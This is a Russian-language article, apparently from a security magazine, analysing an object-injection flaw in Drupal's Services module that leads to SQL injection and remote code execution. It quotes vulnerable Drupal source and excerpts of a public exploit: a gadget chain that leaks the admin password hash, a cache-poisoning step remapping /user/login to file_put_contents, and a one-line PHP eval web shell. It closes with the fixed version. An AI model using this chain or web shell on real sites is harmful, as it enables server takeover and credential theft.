Содержание статьи

Дата релиза: 8 марта 2017 года
Автор: Чарльз Фол (Charles Fol)
 

BRIEF

Уязвимость существует из-за включенной по умолчанию поддержки сериализованных PHP-данных в запросах. Это приводит к атаке типа «внедрение объектов».

 

EXPLOIT

В прошлом обзоре мы рассматривали уязвимость в REST API WordPress. Теперь поговорим о проблеме в API CMS Drupal. Здесь все гораздо серьезнее — к нам в руки попадает полноценная RCE. В чем причина? Давай разбираться.

Причины

В Drupal в отличие от того же WordPress для реализации REST API нужно устанавливать отдельный модуль Services. После установки можно заглянуть во вкладку настроек модуля и увидеть там галочку, с которой и связана уязвимость.

Настройка Request parsing — причина уязвимости
Настройка Request parsing — причина уязвимости

По умолчанию поддерживаются данные в форматах:

  • application/vnd.php.serialized;
  • multipart/form-data;
  • application/json;
  • application/xml.

Если со всякими JSON и XML все ясно, то что же такое vnd.php.serialized? Это не что иное, как сериализованные данные PHP. И если отправить запрос с Content-Type: application/vnd.php.serialized, то тело запроса будет передано в unserialize().

/modules/servers/rest_server/rest_server.module:

52: function rest_server_request_parsers() {
53:   static $parsers = NULL;
54:   if (!$parsers) {
55:     $parsers = array(
...
58:       'application/vnd.php.serialized' => 'ServicesParserPHP',

/modules/servers/rest_server/includes/ServicesParser.inc:

14: class ServicesParserPHP implements ServicesParserInterface {
15:   public function parse(ServicesContextInterface $context) {
16:     return unserialize($context->getRequestBody());
17:   }
18: }

У нас на руках PHP Object Injection как из учебника. Для успешной эксплуатации осталось просмотреть исходники CMS и поискать нужные гаджеты. Правда, Чарльз уже все сделал за нас, достаточно заглянуть в эксплоит.

SQL Injection

Проследим за процессом авторизации по коду. За эту функцию отвечает метод /user/login.

/modules/services/resources/user_resource.inc:

003: function _user_resource_definition() {
004:   $definition = array(
005:     'user' => array(
...
139:       'actions' => array(
140:         'login' => array(
141:           'help' => 'Login a user for a new session',
142:           'callback' => '_user_resource_login',
...
593: function _user_resource_login($username, $password) {
...
614:     $uid = user_authenticate($username, $password);

Модуль Services, в свою очередь, формирует запрос к внутреннему API ядра Drupal, точнее к функции user_authenticate.

/modules/user/user.module:

2257: function user_authenticate($name, $password) {
...
2260:     $account = user_load_by_name($name);
...
2264:       if (user_check_password($password, $account)) {
2265:         // Successful authentication.
2266:         $uid = $account->uid;

Далее из таблицы выбирается пользователь с именем, переданным в параметре username. Если он существует, то переданный пароль сравнивается с находящимся в базе.

На этом этапе нас интересует, каким образом отправляются запросы к базе. Для их построения в Drupal есть классы SelectQueryExtender и DatabaseCondition. Они обрабатывают передаваемые данные, которые затем отправляются в метод query.

/modules/user/user.module:

397: function user_load_by_name($name) {
398:   $users = user_load_multiple(array(), array('name' => $name));

/modules/user/user.module:

290: function user_load_multiple($uids = array(), $conditions = array(), $reset = FALSE) {
291:   return entity_load('user', $uids, $conditions, $reset);

/includes/common.inc:

8008: function entity_load($entity_type, $ids = FALSE, $conditions = array(), $reset = FALSE) {
...
8012:   return entity_get_controller($entity_type)->load($ids, $conditions);

/includes/entity.inc:

157:   public function load($ids = array(), $conditions = array()) {
...
196:       $query = $this->buildQuery($ids, $conditions, $revision_id);
197:       $queried_entities = $query
198:         ->execute()

/includes/database/select.inc:

1272:   public function execute() {
...
1280:     return $this->connection->query((string) $this, $args, $this->queryOptions);

Обрати внимание, что передается не объект, а запрос в текстовом виде (строка 1280). Для этого в классе реализован магический метод __toString(), который конвертирует объект в привычный SQL-запрос с параметрами. В итоге он выглядит так:

SELECT base.uid AS uid, base.name AS name,
...
FROM
{users} base
WHERE  (base.name = :db_condition_placeholder_0)

API позволяет выполнять подзапросы, если в качестве параметра передается объект, который является экземпляром SelectQueryInterface.

/includes/database/query.inc:

1652: class DatabaseCondition implements QueryConditionInterface, Countable {
...
1793:   public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
...
1838:             if ($condition['value'] instanceof SelectQueryInterface) {
1839:               $condition['value']->compile($connection, $queryPlaceholder);
1840:               $placeholders[] = (string) $condition['value'];
1841:               $arguments += $condition['value']->arguments();

Инъекция возможна, если объект, который мы передадим в качестве параметра username, будет удовлетворять трем условиям:

  • реализует интерфейс SelectQueryInterface;
  • имеет метод compile();
  • мы контролируем его строковое представление.

Чарльз нашел два класса, которые соответствуют этим условиям, — SelectQueryExtender и DatabaseCondition.

Первый можно использовать как прокси. В эксплоите свойство query — это экземпляр DatabaseCondition, поэтому при конвертировании запроса в строку будет выполнен метод __toString() именно из этого класса. Он и вернет подконтрольную нам строку.

/includes/database/select.inc:

536: class SelectQueryExtender implements SelectQueryInterface {
...
819:   public function __toString() {
820:     return (string) $this->query;
821:   }

Вот как элегантно реализована эксплуатация SQL-инъекции в эксплоите.

41564.php:

046: class DatabaseCondition
...
054:     public $stringVersion = null;
...
056:     public function __construct($stringVersion=null)
057:     {
058:         $this->stringVersion = $stringVersion;
...
068: class SelectQueryExtender {
...
072:     protected $query = null;
...
078:     public function __construct($sql)
079:     {
080:         $this->query = new DatabaseCondition($sql);
...
102: $query = new SelectQueryExtender($query);

Строка попадает в запрос, и он успешно отрабатывает.

Успешная эксплуатация SQL-инъекции
Успешная эксплуатация SQL-инъекции

Как видишь, автор добавил вывод хеша пароля администратора в качестве параметра signature_format.

RCE

Для выполнения произвольного кода в эксплоите используется манипуляция с кешем. Модуль Services кеширует параметры и функции-колбэки для каждого роута, и они выполняются при обращении к этому роуту. Используя объект класса DrupalCacheArray, мы можем изменить поведение конечной точки API и указать любую функцию PHP для ее обработки.

Другими словами, нам нужно сделать следующее:

  • изменить поведение /user/login, указав file_put_contents в качестве функции-обработчика;
  • вызвать /user/login;
  • вернуть стандартное поведение.

Воспользуемся освоенной нами SQL-инъекцией и получим данные из кеша, для того чтобы изменить только нужные значения.

41564.php:

034: $endpoint = 'rest_endpoint';
...
084: $cache_id = "services:$endpoint:resources";
085: $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
...
091: $query =
...
094:     "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
...
102: $query = new SelectQueryExtender($query);

Затем патчим существующее поведение.

41564.php:

036: $file = [
037:     'filename' => 'dixuSOspsOUU.php',
038:     'data' => '<?php eval(file_get_contents('php://input')); ?>'
039: ];
...
146: class DrupalCacheArray
147: {
...
156:     function __construct($storage, $endpoint, $controller, $action) {
...
160:         $this->cid = "services:$endpoint:resources";
...
165:             $storage[$controller]['actions'][$action] = [
166:                 'help' => 'Writes data to a file',
167:                 # Callback function
168:                 'callback' => 'file_put_contents',
...
175:                     0 => [
176:                         'name' => 'filename',
...
178:                         'description' => 'Path to the file',
...
182:                     1 => [
183:                         'name' => 'data',
...
185:                         'description' => 'The data to write',

Все, что осталось, — это сделать запрос на патченный роут. В качестве параметров указываем путь до файла (filename) и его содержимое (data). Отправляем и получаем шелл.

Успешная загрузка файла и выполнение кода
Успешная загрузка файла и выполнение кода

Я немного изменил эксплоит Чарльза. Добавил возможность работать через командную строку, а также вывод и сохранение всех данных, которые отправляются и которые возвращаются сервером. Мою версию можно посмотреть тут.

 

TARGETS

Drupal Services ветки 7.x-3.x до версии 7.x-3.18.

 

SOLUTION

Уязвимость исправлена в версии модуля 7.x-3.19. Причем, как пишет Чарльз, команде безопасников Drupal хватило сорока минут, чтобы изучить его репорт и предложить патч, который устраняет проблему. Воистину быстрая обратная связь!

Оставить мнение

Check Also

Google как средство взлома. Разбираем актуальные рецепты Google Dork Queries

Тесты на проникновение обычно требуют набора специальных утилит, но одна из них доступна к…